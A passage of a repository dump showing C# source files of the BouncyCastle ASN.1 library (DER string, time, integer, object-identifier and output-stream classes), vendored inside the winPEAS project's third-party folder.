    */ public int Encoding { get { return encoding; } set { if (encoding < 0 || encoding > 2) throw new InvalidOperationException("invalid encoding value: " + encoding); this.encoding = value; } } public Asn1Object ExternalContent { get { return externalContent; } set { this.externalContent = value; } } public DerInteger IndirectReference { get { return indirectReference; } set { this.indirectReference = value; } } private static Asn1Object GetObjFromVector(Asn1EncodableVector v, int index) { if (v.Count <= index) throw new ArgumentException("too few objects in input vector", "v"); return v[index].ToAsn1Object(); } private static void WriteEncodable(MemoryStream ms, Asn1Encodable e) { if (e != null) { byte[] bs = e.GetDerEncoded(); ms.Write(bs, 0, bs.Length); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerExternalParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerExternalParser : Asn1Encodable { private readonly Asn1StreamParser _parser; public DerExternalParser(Asn1StreamParser parser) { this._parser = parser; } public IAsn1Convertible ReadObject() { return _parser.ReadObject(); } public override Asn1Object ToAsn1Object() { return new DerExternal(_parser.ReadVector()); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGeneralString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerGeneralString : DerStringBase { private readonly string str; public static DerGeneralString GetInstance( object obj) { if (obj == null || obj is DerGeneralString) { return (DerGeneralString)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } public static DerGeneralString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerGeneralString) { return GetInstance(o); } return new DerGeneralString(((Asn1OctetString)o).GetOctets()); } public DerGeneralString( byte[] str) : this(Strings.FromAsciiByteArray(str)) { } public DerGeneralString( string str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { return str; } public byte[] GetOctets() { return Strings.ToAsciiByteArray(str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.GeneralString, GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerGeneralString other = asn1Object as DerGeneralString; if (other == null) return false; return this.str.Equals(other.str); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGeneralizedTime.cs ================================================ using System; using System.Globalization; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Generalized time object. */ public class DerGeneralizedTime : Asn1Object { private readonly string time; /** * return a generalized time from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerGeneralizedTime GetInstance( object obj) { if (obj == null || obj is DerGeneralizedTime) { return (DerGeneralizedTime)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * return a Generalized Time object from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerGeneralizedTime GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerGeneralizedTime) { return GetInstance(o); } return new DerGeneralizedTime(((Asn1OctetString)o).GetOctets()); } /** * The correct format for this is YYYYMMDDHHMMSS[.f]Z, or without the Z * for local time, or Z+-HHMM on the end, for difference between local * time and UTC time. The fractional second amount f must consist of at * least one number with trailing zeroes removed. * * @param time the time string. * @exception ArgumentException if string is an illegal format. */ public DerGeneralizedTime( string time) { this.time = time; try { ToDateTime(); } catch (FormatException e) { throw new ArgumentException("invalid date string: " + e.Message); } } /** * base constructor from a local time object */ public DerGeneralizedTime( DateTime time) { #if PORTABLE this.time = time.ToUniversalTime().ToString(@"yyyyMMddHHmmss\Z"); #else this.time = time.ToString(@"yyyyMMddHHmmss\Z"); #endif } internal DerGeneralizedTime( byte[] bytes) { // // explicitly convert to characters // this.time = Strings.FromAsciiByteArray(bytes); } /** * Return the time. * @return The time string as it appeared in the encoded object. */ public string TimeString { get { return time; } } /** * return the time - always in the form of * YYYYMMDDhhmmssGMT(+hh:mm|-hh:mm). *

    * Normally in a certificate we would expect "Z" rather than "GMT", * however adding the "GMT" means we can just use: *

             *     dateF = new SimpleDateFormat("yyyyMMddHHmmssz");
             * 
    * To read in the time and Get a date which is compatible with our local * time zone.

    */ public string GetTime() { // // standardise the format. // if (time[time.Length - 1] == 'Z') { return time.Substring(0, time.Length - 1) + "GMT+00:00"; } else { int signPos = time.Length - 5; char sign = time[signPos]; if (sign == '-' || sign == '+') { return time.Substring(0, signPos) + "GMT" + time.Substring(signPos, 3) + ":" + time.Substring(signPos + 3); } else { signPos = time.Length - 3; sign = time[signPos]; if (sign == '-' || sign == '+') { return time.Substring(0, signPos) + "GMT" + time.Substring(signPos) + ":00"; } } } return time + CalculateGmtOffset(); } private string CalculateGmtOffset() { char sign = '+'; DateTime time = ToDateTime(); #if SILVERLIGHT || PORTABLE long offset = time.Ticks - time.ToUniversalTime().Ticks; if (offset < 0) { sign = '-'; offset = -offset; } int hours = (int)(offset / TimeSpan.TicksPerHour); int minutes = (int)(offset / TimeSpan.TicksPerMinute) % 60; #else // Note: GetUtcOffset incorporates Daylight Savings offset TimeSpan offset = TimeZone.CurrentTimeZone.GetUtcOffset(time); if (offset.CompareTo(TimeSpan.Zero) < 0) { sign = '-'; offset = offset.Duration(); } int hours = offset.Hours; int minutes = offset.Minutes; #endif return "GMT" + sign + Convert(hours) + ":" + Convert(minutes); } private static string Convert( int time) { if (time < 10) { return "0" + time; } return time.ToString(); } public DateTime ToDateTime() { string formatStr; string d = time; bool makeUniversal = false; if (Platform.EndsWith(d, "Z")) { if (HasFractionalSeconds) { int fCount = d.Length - d.IndexOf('.') - 2; formatStr = @"yyyyMMddHHmmss." + FString(fCount) + @"\Z"; } else { formatStr = @"yyyyMMddHHmmss\Z"; } } else if (time.IndexOf('-') > 0 || time.IndexOf('+') > 0) { d = GetTime(); makeUniversal = true; if (HasFractionalSeconds) { int fCount = Platform.IndexOf(d, "GMT") - 1 - d.IndexOf('.'); formatStr = @"yyyyMMddHHmmss." + FString(fCount) + @"'GMT'zzz"; } else { formatStr = @"yyyyMMddHHmmss'GMT'zzz"; } } else { if (HasFractionalSeconds) { int fCount = d.Length - 1 - d.IndexOf('.'); formatStr = @"yyyyMMddHHmmss." + FString(fCount); } else { formatStr = @"yyyyMMddHHmmss"; } // TODO? // dateF.setTimeZone(new SimpleTimeZone(0, TimeZone.getDefault().getID())); } return ParseDateString(d, formatStr, makeUniversal); } private string FString( int count) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < count; ++i) { sb.Append('f'); } return sb.ToString(); } private DateTime ParseDateString(string s, string format, bool makeUniversal) { /* * NOTE: DateTime.Kind and DateTimeStyles.AssumeUniversal not available in .NET 1.1 */ DateTimeStyles style = DateTimeStyles.None; if (Platform.EndsWith(format, "Z")) { try { style = (DateTimeStyles)Enums.GetEnumValue(typeof(DateTimeStyles), "AssumeUniversal"); } catch (Exception) { } style |= DateTimeStyles.AdjustToUniversal; } DateTime dt = DateTime.ParseExact(s, format, DateTimeFormatInfo.InvariantInfo, style); return makeUniversal ? dt.ToUniversalTime() : dt; } private bool HasFractionalSeconds { get { return time.IndexOf('.') == 14; } } private byte[] GetOctets() { return Strings.ToAsciiByteArray(time); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.GeneralizedTime, GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerGeneralizedTime other = asn1Object as DerGeneralizedTime; if (other == null) return false; return this.time.Equals(other.time); } protected override int Asn1GetHashCode() { return time.GetHashCode(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerGraphicString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerGraphicString : DerStringBase { private readonly byte[] mString; /** * return a Graphic String from the passed in object * * @param obj a DerGraphicString or an object that can be converted into one. * @exception IllegalArgumentException if the object cannot be converted. * @return a DerGraphicString instance, or null. */ public static DerGraphicString GetInstance(object obj) { if (obj == null || obj is DerGraphicString) { return (DerGraphicString)obj; } if (obj is byte[]) { try { return (DerGraphicString)FromByteArray((byte[])obj); } catch (Exception e) { throw new ArgumentException("encoding error in GetInstance: " + e.ToString(), "obj"); } } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * return a Graphic String from a tagged object. * * @param obj the tagged object holding the object we want * @param explicit true if the object is meant to be explicitly * tagged false otherwise. * @exception IllegalArgumentException if the tagged object cannot * be converted. * @return a DerGraphicString instance, or null. */ public static DerGraphicString GetInstance(Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerGraphicString) { return GetInstance(o); } return new DerGraphicString(((Asn1OctetString)o).GetOctets()); } /** * basic constructor - with bytes. * @param string the byte encoding of the characters making up the string. */ public DerGraphicString(byte[] encoding) { this.mString = Arrays.Clone(encoding); } public override string GetString() { return Strings.FromByteArray(mString); } public byte[] GetOctets() { return Arrays.Clone(mString); } internal override void Encode(DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.GraphicString, mString); } protected override int Asn1GetHashCode() { return Arrays.GetHashCode(mString); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerGraphicString other = asn1Object as DerGraphicString; if (other == null) return false; return Arrays.AreEqual(mString, other.mString); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerIA5String.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der IA5String object - this is an ascii string. */ public class DerIA5String : DerStringBase { private readonly string str; /** * return a IA5 string from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerIA5String GetInstance( object obj) { if (obj == null || obj is DerIA5String) { return (DerIA5String)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an IA5 string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerIA5String GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerIA5String) { return GetInstance(o); } return new DerIA5String(((Asn1OctetString)o).GetOctets()); } /** * basic constructor - with bytes. */ public DerIA5String( byte[] str) : this(Strings.FromAsciiByteArray(str), false) { } /** * basic constructor - without validation. */ public DerIA5String( string str) : this(str, false) { } /** * Constructor with optional validation. * * @param string the base string to wrap. * @param validate whether or not to check the string. * @throws ArgumentException if validate is true and the string * contains characters that should not be in an IA5String. */ public DerIA5String( string str, bool validate) { if (str == null) throw new ArgumentNullException("str"); if (validate && !IsIA5String(str)) throw new ArgumentException("string contains illegal characters", "str"); this.str = str; } public override string GetString() { return str; } public byte[] GetOctets() { return Strings.ToAsciiByteArray(str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.IA5String, GetOctets()); } protected override int Asn1GetHashCode() { return this.str.GetHashCode(); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerIA5String other = asn1Object as DerIA5String; if (other == null) return false; return this.str.Equals(other.str); } /** * return true if the passed in String can be represented without * loss as an IA5String, false otherwise. * * @return true if in printable set, false otherwise. */ public static bool IsIA5String( string str) { foreach (char ch in str) { if (ch > 0x007f) { return false; } } return true; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerInteger.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.math; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerInteger : Asn1Object { public const string AllowUnsafeProperty = "Org.BouncyCastle.Asn1.AllowUnsafeInteger"; internal static bool AllowUnsafe() { string allowUnsafeValue = Platform.GetEnvironmentVariable(AllowUnsafeProperty); return allowUnsafeValue != null && Platform.EqualsIgnoreCase("true", allowUnsafeValue); } internal const int SignExtSigned = -1; internal const int SignExtUnsigned = 0xFF; private readonly byte[] bytes; private readonly int start; /** * return an integer from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerInteger GetInstance( object obj) { if (obj == null || obj is DerInteger) { return (DerInteger)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an Integer from a tagged object. * * @param obj the tagged object holding the object we want * @param isExplicit true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerInteger GetInstance( Asn1TaggedObject obj, bool isExplicit) { if (obj == null) throw new ArgumentNullException("obj"); Asn1Object o = obj.GetObject(); if (isExplicit || o is DerInteger) { return GetInstance(o); } return new DerInteger(Asn1OctetString.GetInstance(o).GetOctets()); } public DerInteger(int value) { this.bytes = BigInteger.ValueOf(value).ToByteArray(); this.start = 0; } public DerInteger(long value) { this.bytes = BigInteger.ValueOf(value).ToByteArray(); this.start = 0; } public DerInteger(BigInteger value) { if (value == null) throw new ArgumentNullException("value"); this.bytes = value.ToByteArray(); this.start = 0; } public DerInteger(byte[] bytes) : this(bytes, true) { } internal DerInteger(byte[] bytes, bool clone) { if (IsMalformed(bytes)) throw new ArgumentException("malformed integer", "bytes"); this.bytes = clone ? Arrays.Clone(bytes) : bytes; this.start = SignBytesToSkip(bytes); } /** * in some cases positive values Get crammed into a space, * that's not quite big enough... */ public BigInteger PositiveValue { get { return new BigInteger(1, bytes); } } public BigInteger Value { get { return new BigInteger(bytes); } } public bool HasValue(BigInteger x) { return null != x // Fast check to avoid allocation && IntValue(bytes, start, SignExtSigned) == x.IntValue && Value.Equals(x); } public int IntPositiveValueExact { get { int count = bytes.Length - start; if (count > 4 || (count == 4 && 0 != (bytes[start] & 0x80))) throw new ArithmeticException("ASN.1 Integer out of positive int range"); return IntValue(bytes, start, SignExtUnsigned); } } public int IntValueExact { get { int count = bytes.Length - start; if (count > 4) throw new ArithmeticException("ASN.1 Integer out of int range"); return IntValue(bytes, start, SignExtSigned); } } public long LongValueExact { get { int count = bytes.Length - start; if (count > 8) throw new ArithmeticException("ASN.1 Integer out of long range"); return LongValue(bytes, start, SignExtSigned); } } internal override void Encode(DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.Integer, bytes); } protected override int Asn1GetHashCode() { return Arrays.GetHashCode(bytes); } protected override bool Asn1Equals(Asn1Object asn1Object) { DerInteger other = asn1Object as DerInteger; if (other == null) return false; return Arrays.AreEqual(this.bytes, other.bytes); } public override string ToString() { return Value.ToString(); } internal static int IntValue(byte[] bytes, int start, int signExt) { int length = bytes.Length; int pos = System.Math.Max(start, length - 4); int val = (sbyte)bytes[pos] & signExt; while (++pos < length) { val = (val << 8) | bytes[pos]; } return val; } internal static long LongValue(byte[] bytes, int start, int signExt) { int length = bytes.Length; int pos = System.Math.Max(start, length - 8); long val = (sbyte)bytes[pos] & signExt; while (++pos < length) { val = (val << 8) | bytes[pos]; } return val; } /** * Apply the correct validation for an INTEGER primitive following the BER rules. * * @param bytes The raw encoding of the integer. * @return true if the (in)put fails this validation. */ internal static bool IsMalformed(byte[] bytes) { switch (bytes.Length) { case 0: return true; case 1: return false; default: return (sbyte)bytes[0] == ((sbyte)bytes[1] >> 7) && !AllowUnsafe(); } } internal static int SignBytesToSkip(byte[] bytes) { int pos = 0, last = bytes.Length - 1; while (pos < last && (sbyte)bytes[pos] == ((sbyte)bytes[pos + 1] >> 7)) { ++pos; } return pos; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerNull.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * A Null object. */ public class DerNull : Asn1Null { public static readonly DerNull Instance = new DerNull(0); byte[] zeroBytes = new byte[0]; [Obsolete("Use static Instance object")] public DerNull() { } protected internal DerNull(int dummy) { } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.Null, zeroBytes); } protected override bool Asn1Equals( Asn1Object asn1Object) { return asn1Object is DerNull; } protected override int Asn1GetHashCode() { return -1; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerNumericString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der NumericString object - this is an ascii string of characters {0,1,2,3,4,5,6,7,8,9, }. */ public class DerNumericString : DerStringBase { private readonly string str; /** * return a Numeric string from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerNumericString GetInstance( object obj) { if (obj == null || obj is DerNumericString) { return (DerNumericString)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an Numeric string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerNumericString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerNumericString) { return GetInstance(o); } return new DerNumericString(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - with bytes. */ public DerNumericString( byte[] str) : this(Strings.FromAsciiByteArray(str), false) { } /** * basic constructor - without validation.. */ public DerNumericString( string str) : this(str, false) { } /** * Constructor with optional validation. * * @param string the base string to wrap. * @param validate whether or not to check the string. * @throws ArgumentException if validate is true and the string * contains characters that should not be in a NumericString. */ public DerNumericString( string str, bool validate) { if (str == null) throw new ArgumentNullException("str"); if (validate && !IsNumericString(str)) throw new ArgumentException("string contains illegal characters", "str"); this.str = str; } public override string GetString() { return str; } public byte[] GetOctets() { return Strings.ToAsciiByteArray(str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.NumericString, GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerNumericString other = asn1Object as DerNumericString; if (other == null) return false; return this.str.Equals(other.str); } /** * Return true if the string can be represented as a NumericString ('0'..'9', ' ') * * @param str string to validate. * @return true if numeric, fale otherwise. */ public static bool IsNumericString( string str) { foreach (char ch in str) { if (ch > 0x007f || (ch != ' ' && !char.IsDigit(ch))) return false; } return true; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerObjectIdentifier.cs ================================================ using System; using System.IO; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.math; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerObjectIdentifier : Asn1Object { private readonly string identifier; private byte[] body = null; /** * return an Oid from the passed in object * * @exception ArgumentException if the object cannot be converted. */ public static DerObjectIdentifier GetInstance(object obj) { if (obj == null || obj is DerObjectIdentifier) return (DerObjectIdentifier)obj; if (obj is Asn1Encodable) { Asn1Object asn1Obj = ((Asn1Encodable)obj).ToAsn1Object(); if (asn1Obj is DerObjectIdentifier) return (DerObjectIdentifier)asn1Obj; } if (obj is byte[]) return FromOctetString((byte[])obj); throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * return an object Identifier from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerObjectIdentifier GetInstance( Asn1TaggedObject obj, bool explicitly) { Asn1Object o = obj.GetObject(); if (explicitly || o is DerObjectIdentifier) { return GetInstance(o); } return FromOctetString(Asn1OctetString.GetInstance(o).GetOctets()); } public DerObjectIdentifier( string identifier) { if (identifier == null) throw new ArgumentNullException("identifier"); if (!IsValidIdentifier(identifier)) throw new FormatException("string " + identifier + " not an OID"); this.identifier = identifier; } internal DerObjectIdentifier(DerObjectIdentifier oid, string branchID) { if (!IsValidBranchID(branchID, 0)) throw new ArgumentException("string " + branchID + " not a valid OID branch", "branchID"); this.identifier = oid.Id + "." + branchID; } // TODO Change to ID? public string Id { get { return identifier; } } public virtual DerObjectIdentifier Branch(string branchID) { return new DerObjectIdentifier(this, branchID); } /** * Return true if this oid is an extension of the passed in branch, stem. * @param stem the arc or branch that is a possible parent. * @return true if the branch is on the passed in stem, false otherwise. */ public virtual bool On(DerObjectIdentifier stem) { string id = Id, stemId = stem.Id; return id.Length > stemId.Length && id[stemId.Length] == '.' && Platform.StartsWith(id, stemId); } internal DerObjectIdentifier(byte[] bytes) { this.identifier = MakeOidStringFromBytes(bytes); this.body = Arrays.Clone(bytes); } private void WriteField( Stream outputStream, long fieldValue) { byte[] result = new byte[9]; int pos = 8; result[pos] = (byte)(fieldValue & 0x7f); while (fieldValue >= (1L << 7)) { fieldValue >>= 7; result[--pos] = (byte)((fieldValue & 0x7f) | 0x80); } outputStream.Write(result, pos, 9 - pos); } private void WriteField( Stream outputStream, BigInteger fieldValue) { int byteCount = (fieldValue.BitLength + 6) / 7; if (byteCount == 0) { outputStream.WriteByte(0); } else { BigInteger tmpValue = fieldValue; byte[] tmp = new byte[byteCount]; for (int i = byteCount - 1; i >= 0; i--) { tmp[i] = (byte)((tmpValue.IntValue & 0x7f) | 0x80); tmpValue = tmpValue.ShiftRight(7); } tmp[byteCount - 1] &= 0x7f; outputStream.Write(tmp, 0, tmp.Length); } } private void DoOutput(MemoryStream bOut) { OidTokenizer tok = new OidTokenizer(identifier); string token = tok.NextToken(); int first = int.Parse(token) * 40; token = tok.NextToken(); if (token.Length <= 18) { WriteField(bOut, first + Int64.Parse(token)); } else { WriteField(bOut, new BigInteger(token).Add(BigInteger.ValueOf(first))); } while (tok.HasMoreTokens) { token = tok.NextToken(); if (token.Length <= 18) { WriteField(bOut, Int64.Parse(token)); } else { WriteField(bOut, new BigInteger(token)); } } } internal byte[] GetBody() { lock (this) { if (body == null) { MemoryStream bOut = new MemoryStream(); DoOutput(bOut); body = bOut.ToArray(); } } return body; } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.ObjectIdentifier, GetBody()); } protected override int Asn1GetHashCode() { return identifier.GetHashCode(); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerObjectIdentifier other = asn1Object as DerObjectIdentifier; if (other == null) return false; return this.identifier.Equals(other.identifier); } public override string ToString() { return identifier; } private static bool IsValidBranchID(string branchID, int start) { int digitCount = 0; int pos = branchID.Length; while (--pos >= start) { char ch = branchID[pos]; if (ch == '.') { if (0 == digitCount || (digitCount > 1 && branchID[pos + 1] == '0')) return false; digitCount = 0; } else if ('0' <= ch && ch <= '9') { ++digitCount; } else { return false; } } if (0 == digitCount || (digitCount > 1 && branchID[pos + 1] == '0')) return false; return true; } private static bool IsValidIdentifier(string identifier) { if (identifier.Length < 3 || identifier[1] != '.') return false; char first = identifier[0]; if (first < '0' || first > '2') return false; return IsValidBranchID(identifier, 2); } private const long LONG_LIMIT = (long.MaxValue >> 7) - 0x7f; private static string MakeOidStringFromBytes( byte[] bytes) { StringBuilder objId = new StringBuilder(); long value = 0; BigInteger bigValue = null; bool first = true; for (int i = 0; i != bytes.Length; i++) { int b = bytes[i]; if (value <= LONG_LIMIT) { value += (b & 0x7f); if ((b & 0x80) == 0) // end of number reached { if (first) { if (value < 40) { objId.Append('0'); } else if (value < 80) { objId.Append('1'); value -= 40; } else { objId.Append('2'); value -= 80; } first = false; } objId.Append('.'); objId.Append(value); value = 0; } else { value <<= 7; } } else { if (bigValue == null) { bigValue = BigInteger.ValueOf(value); } bigValue = bigValue.Or(BigInteger.ValueOf(b & 0x7f)); if ((b & 0x80) == 0) { if (first) { objId.Append('2'); bigValue = bigValue.Subtract(BigInteger.ValueOf(80)); first = false; } objId.Append('.'); objId.Append(bigValue); bigValue = null; value = 0; } else { bigValue = bigValue.ShiftLeft(7); } } } return objId.ToString(); } private static readonly DerObjectIdentifier[] cache = new DerObjectIdentifier[1024]; internal static DerObjectIdentifier FromOctetString(byte[] enc) { int hashCode = Arrays.GetHashCode(enc); int first = hashCode & 1023; lock (cache) { DerObjectIdentifier entry = cache[first]; if (entry != null && Arrays.AreEqual(enc, entry.GetBody())) { return entry; } return cache[first] = new DerObjectIdentifier(enc); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOctetString.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerOctetString : Asn1OctetString { /// The octets making up the octet string. public DerOctetString( byte[] str) : base(str) { } public DerOctetString(IAsn1Convertible obj) : this(obj.ToAsn1Object()) { } public DerOctetString(Asn1Encodable obj) : base(obj.GetEncoded(Asn1Encodable.Der)) { } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.OctetString, str); } internal static void Encode( DerOutputStream derOut, byte[] bytes, int offset, int length) { derOut.WriteEncoded(Asn1Tags.OctetString, bytes, offset, length); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOctetStringParser.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerOctetStringParser : Asn1OctetStringParser { private readonly DefiniteLengthInputStream stream; internal DerOctetStringParser( DefiniteLengthInputStream stream) { this.stream = stream; } public Stream GetOctetStream() { return stream; } public Asn1Object ToAsn1Object() { try { return new DerOctetString(stream.ToArray()); } catch (IOException e) { throw new InvalidOperationException("IOException converting stream to byte array: " + e.Message, e); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerOutputStream.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.asn1.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerOutputStream : FilterStream { public DerOutputStream(Stream os) : base(os) { } private void WriteLength( int length) { if (length > 127) { int size = 1; uint val = (uint)length; while ((val >>= 8) != 0) { size++; } WriteByte((byte)(size | 0x80)); for (int i = (size - 1) * 8; i >= 0; i -= 8) { WriteByte((byte)(length >> i)); } } else { WriteByte((byte)length); } } internal void WriteEncoded( int tag, byte[] bytes) { WriteByte((byte)tag); WriteLength(bytes.Length); Write(bytes, 0, bytes.Length); } internal void WriteEncoded( int tag, byte first, byte[] bytes) { WriteByte((byte)tag); WriteLength(bytes.Length + 1); WriteByte(first); Write(bytes, 0, bytes.Length); } internal void WriteEncoded( int tag, byte[] bytes, int offset, int length) { WriteByte((byte)tag); WriteLength(length); Write(bytes, offset, length); } internal void WriteTag( int flags, int tagNo) { if (tagNo < 31) { WriteByte((byte)(flags | tagNo)); } else { WriteByte((byte)(flags | 0x1f)); if (tagNo < 128) { WriteByte((byte)tagNo); } else { byte[] stack = new byte[5]; int pos = stack.Length; stack[--pos] = (byte)(tagNo & 0x7F); do { tagNo >>= 7; stack[--pos] = (byte)(tagNo & 0x7F | 0x80); } while (tagNo > 127); Write(stack, pos, stack.Length - pos); } } } internal void WriteEncoded( int flags, int tagNo, byte[] bytes) { WriteTag(flags, tagNo); WriteLength(bytes.Length); Write(bytes, 0, bytes.Length); } protected void WriteNull() { WriteByte(Asn1Tags.Null); WriteByte(0x00); } [Obsolete("Use version taking an Asn1Encodable arg instead")] public virtual void WriteObject( object obj) { if (obj == null) { WriteNull(); } else if (obj is Asn1Object) { ((Asn1Object)obj).Encode(this); } else if (obj is Asn1Encodable) { ((Asn1Encodable)obj).ToAsn1Object().Encode(this); } else { throw new IOException("object not Asn1Object"); } } public virtual void WriteObject( Asn1Encodable obj) { if (obj == null) { WriteNull(); } else { obj.ToAsn1Object().Encode(this); } } public virtual void WriteObject( Asn1Object obj) { if (obj == null) { WriteNull(); } else { obj.Encode(this); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerPrintableString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der PrintableString object. */ public class DerPrintableString : DerStringBase { private readonly string str; /** * return a printable string from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerPrintableString GetInstance( object obj) { if (obj == null || obj is DerPrintableString) { return (DerPrintableString)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a Printable string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerPrintableString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerPrintableString) { return GetInstance(o); } return new DerPrintableString(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - byte encoded string. */ public DerPrintableString( byte[] str) : this(Strings.FromAsciiByteArray(str), false) { } /** * basic constructor - this does not validate the string */ public DerPrintableString( string str) : this(str, false) { } /** * Constructor with optional validation. * * @param string the base string to wrap. * @param validate whether or not to check the string. * @throws ArgumentException if validate is true and the string * contains characters that should not be in a PrintableString. */ public DerPrintableString( string str, bool validate) { if (str == null) throw new ArgumentNullException("str"); if (validate && !IsPrintableString(str)) throw new ArgumentException("string contains illegal characters", "str"); this.str = str; } public override string GetString() { return str; } public byte[] GetOctets() { return Strings.ToAsciiByteArray(str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.PrintableString, GetOctets()); } protected override bool 